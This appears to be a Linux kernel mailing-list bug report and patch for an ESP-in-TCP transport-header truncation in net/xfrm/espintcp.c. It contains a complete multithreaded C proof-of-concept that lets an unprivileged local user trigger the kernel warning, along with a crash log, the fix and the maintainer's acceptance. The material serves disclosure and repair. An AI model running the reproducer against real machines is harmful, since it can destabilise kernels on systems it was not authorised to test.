net: xfrm: espintcp can trip skb transport-header warning

From: Wyatt Feng <[email protected]>

Hi Linux kernel maintainers,

We found an issue in net/xfrm/espintcp.c.
The bug is reachable by an unprivileged user on a local TCP socket. The relevant details are provided below.

---- details below ----

Bug details:

The bug is in handle_esp() in ESP-in-TCP receive path. After strparser trims the TCP framing, handle_esp() unconditionally calls skb_reset_transport_header() before handing the skb to xfrm.

For some packets, that skb no longer has a transport-header offset that fits the 16-bit skb field, so the plain reset truncates the offset and hits the DEBUG_NET_WARN_ON_ONCE() check in include/linux/skbuff.h:3100. The warning is reachable from the ordinary TCP_ULP("espintcp") attach path and does not require privileges beyond local socket access.

Reproducer:

cc -x c -O2 -pthread -Wall -Wextra -o poc mini_poc timeout 240 ./poc 16 50000

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#ifndef TCP_ULP
#define TCP_ULP 31
#endif

#define DEFAULT_WORKERS 8
#define DEFAULT_ATTEMPTS 20000
#define FILL_TARGET (8U << 20)

struct pair {
	int client_fd;
	int server_fd;
	atomic_int start;
	atomic_int stop;
};

struct worker_arg {
	int id;
	int attempts;
};

static int cpu_count(void)

{
	long n = sysconf(_SC_NPROCESSORS_ONLN);

	return n > 0 ? (int)n : 1;
}

static void pin_current(int cpu)

{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
}

static int set_nonblock(int fd)

{
	int flags = fcntl(fd, F_GETFL, 0);

	if (flags < 0)
		return -1;
	return fcntl(fd, F_SETFL, flags | O_NONBLOCK);
}

static void tune_socket(int fd)

{
	int one = 1;
	int buf = 1 << 20;

	setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
	setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &buf, sizeof(buf));
	setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &buf, sizeof(buf));
}

static void close_pair(struct pair *p)

{
	if (p->client_fd >= 0)
		close(p->client_fd);
	if (p->server_fd >= 0)
		close(p->server_fd);
}

static int open_listener(uint16_t *port)

{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
	};
	socklen_t len = sizeof(addr);
	int one = 1;
	int fd = socket(AF_INET, SOCK_STREAM, 0);

	if (fd < 0)
		return -1;
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
		goto fail;
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		goto fail;
	if (listen(fd, 128) < 0)
		goto fail;
	if (getsockname(fd, (struct sockaddr *)&addr, &len) < 0)
		goto fail;

	*port = ntohs(addr.sin_port);
	return fd;

fail:

	close(fd);
	return -1;
}

static int make_pair(int listen_fd, uint16_t port, struct pair *p)

{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port = htons(port),
	};
	socklen_t len = sizeof(addr);

	memset(p, 0, sizeof(*p));
	p->client_fd = -1;
	p->server_fd = -1;
	atomic_init(&p->start, 0);
	atomic_init(&p->stop, 0);

	p->client_fd = socket(AF_INET, SOCK_STREAM, 0);
	if (p->client_fd < 0)
		return -1;

	tune_socket(p->client_fd);
	if (connect(p->client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		goto fail;

	p->server_fd = accept(listen_fd, (struct sockaddr *)&addr, &len);
	if (p->server_fd < 0)
		goto fail;

	tune_socket(p->server_fd);
	if (set_nonblock(p->client_fd) < 0 || set_nonblock(p->server_fd) < 0)
		goto fail;

	return 0;

fail:

	close_pair(p);
	return -1;
}

static void prefill_client(int fd)

{
	char buf[4096];
	size_t total = 0;

	memset(buf, 'A', sizeof(buf));
	while (total < FILL_TARGET) {
		ssize_t n = send(fd, buf, sizeof(buf), MSG_DONTWAIT | MSG_NOSIGNAL);

		if (n > 0) {
			total += (size_t)n;
			continue;
		}
		if (n < 0 && errno == EINTR)
			continue;
		if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK))
			return;
		return;
	}
}

static void *server_reader(void *arg)

{
	struct pair *p = arg;
	char buf[1 << 15];

	if (cpu_count() > 1)
		pin_current(1);

	while (!atomic_load_explicit(&p->start, memory_order_acquire))
		;

	while (!atomic_load_explicit(&p->stop, memory_order_relaxed)) {
		ssize_t n = recv(p->server_fd, buf, sizeof(buf), MSG_DONTWAIT);

		if (n > 0)
			continue;
		if (n == 0)
			break;
		if (n < 0 && errno == EINTR)
			continue;
		if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
			sched_yield();
			continue;
		}
		break;
	}

	return NULL;
}

static void *server_writer(void *arg)

{
	struct pair *p = arg;
	char buf[64];

	memset(buf, 'B', sizeof(buf));
	if (cpu_count() > 1)
		pin_current(1);

	while (!atomic_load_explicit(&p->start, memory_order_acquire))
		;

	while (!atomic_load_explicit(&p->stop, memory_order_relaxed)) {
		ssize_t n = send(p->server_fd, buf, sizeof(buf),
				 MSG_DONTWAIT | MSG_NOSIGNAL);

		if (n >= 0)
			continue;
		if (errno == EINTR)
			continue;
		if (errno == EAGAIN || errno == EWOULDBLOCK) {
			sched_yield();
			continue;
		}
		break;
	}

	return NULL;
}

static void *worker(void *arg)

{
	struct worker_arg *w = arg;
	const char ulp[] = "espintcp";
	uint16_t port;
	int listen_fd;

	if (cpu_count() > 0)
		pin_current(w->id % cpu_count());

	listen_fd = open_listener(&port);
	if (listen_fd < 0)
		return NULL;

	for (int i = 0; i < w->attempts; i++) {
		struct pair p;
		pthread_t reader;
		pthread_t writer;

		if (make_pair(listen_fd, port, &p) < 0)
			continue;

		prefill_client(p.client_fd);
		if (pthread_create(&reader, NULL, server_reader, &p) != 0) {
			close_pair(&p);
			continue;
		}
		if (pthread_create(&writer, NULL, server_writer, &p) != 0) {
			atomic_store(&p.stop, 1);
			pthread_join(reader, NULL);
			close_pair(&p);
			continue;
		}

		atomic_store_explicit(&p.start, 1, memory_order_release);
		setsockopt(p.client_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp) - 1);
		atomic_store(&p.stop, 1);

		pthread_join(writer, NULL);
		pthread_join(reader, NULL);
		shutdown(p.client_fd, SHUT_RDWR);
		shutdown(p.server_fd, SHUT_RDWR);
		close_pair(&p);
	}

	close(listen_fd);
	return NULL;
}

int main(int argc, char **argv)

{
	int workers = argc > 1 ? atoi(argv[1]) : DEFAULT_WORKERS;
	int attempts = argc > 2 ? atoi(argv[2]) : DEFAULT_ATTEMPTS;
	pthread_t *threads;
	struct worker_arg *args;

	if (workers < 1)
		workers = 1;
	if (attempts < 1)
		attempts = 1;

	signal(SIGPIPE, SIG_IGN);

	threads = calloc((size_t)workers, sizeof(*threads));
	args = calloc((size_t)workers, sizeof(*args));
	if (!threads || !args)
		return 1;

	fprintf(stderr, "espintcp race: workers=%d attempts=%d\n",
		workers, attempts);

	for (int i = 0; i < workers; i++) {
		args[i].id = i;
		args[i].attempts = attempts;
		if (pthread_create(&threads[i], NULL, worker, &args[i]) != 0)
			return 1;
	}

	for (int i = 0; i < workers; i++)
		pthread_join(threads[i], NULL);

	return 0;
}

------END PoC--------

----BEGIN crash log----

[  356.287141][    C1] ------------[ cut here ]------------
[  356.287203][    C1] offset != (typeof(skb->transport_header))offset
[  356.288037][    C1] WARNING: include/linux/skbuff.h:3100 at espintcp_rcv+0xfa9/0x1260, CPU#1: poc/17566
[  356.293674][    C1] CPU: 1 UID: 1001 PID: 17566 Comm: poc Tainted: G        W           7.2.0-15814-g2188569e7e1b #3 PREEMPT(full)
[  356.319324][    C1] Call Trace:
[  356.323986][    C1]  __strp_recv+0x285/0x1ad0
[  356.329220][    C1]  strp_read_sock+0x250/0x2a0
[  356.332560][    C1]  strp_data_ready+0x1d8/0x290
[  356.333568][    C1]  tcp_data_ready+0x114/0x5b0
[  356.334575][    C1]  tcp_data_queue+0x1af9/0x4fb0
[  356.341206][    C1]  tcp_rcv_established+0xb82/0x3990
[  356.345859][    C1]  tcp_v4_do_rcv+0xbb6/0x1260
[  356.346873][    C1]  tcp_v4_rcv+0x2ec1/0x4840
[  356.355659][    C1]  ip_local_deliver_finish+0x3f2/0x6e0
[  356.370020][    C1]  process_backlog+0x487/0x1600
[  356.372242][    C1]  net_rx_action+0xa40/0xf20
[  356.390892][    C1]  __local_bh_enable_ip+0xff/0x120
[  356.393050][    C1]  __dev_queue_xmit+0xa27/0x4970
[  356.428944][    C1]  tcp_rcv_established+0xc34/0x3990
[  356.439618][    C1]  tcp_recvmsg+0x14c/0x630
[  356.450072][    C1]  sock_recvmsg+0x1b8/0x220
[  356.455330][    C1]  __x64_sys_recvfrom+0xe0/0x1c0
[  356.485475][    C1] ---[ end trace 0000000000000000 ]---

-----END crash log-----

Best regards,
Wyatt Feng

Wyatt Feng (1):
net: xfrm: reject unrepresentable espintcp transport headers

 net/xfrm/espintcp.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

2.47.3

From: Wyatt Feng <[email protected]>

ESP-in-TCP can hand xfrm packets whose transport header offset no longer fits after the stream parser trims the TCP envelope. The plain transport header reset truncates that offset and triggers the skb warning path.

Use the careful transport-header helper and drop the skb through the existing XFRM error path when the offset cannot be represented.

---
 net/xfrm/espintcp.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

index 674aedc5af5a..3e72b9f067b9 100644
@@ -30,7 +30,11 @@ static void handle_esp(struct sk_buff *skb, struct sock *sk)
 {
 	struct tcp_skb_cb *tcp_cb = (struct tcp_skb_cb *)skb->cb;
 
-	skb_reset_transport_header(skb);
+	if (!skb_reset_transport_header_careful(skb)) {
+		XFRM_INC_STATS(sock_net(sk), LINUX_MIB_XFRMINERROR);
+		kfree_skb(skb);
+		return;
+	}
 
 	/* restore IP CB, we need at least IP6CB->nhoff */
 	memmove(skb->cb, &tcp_cb->header, sizeof(tcp_cb->header));

2.47.3

Applied, thanks a lot!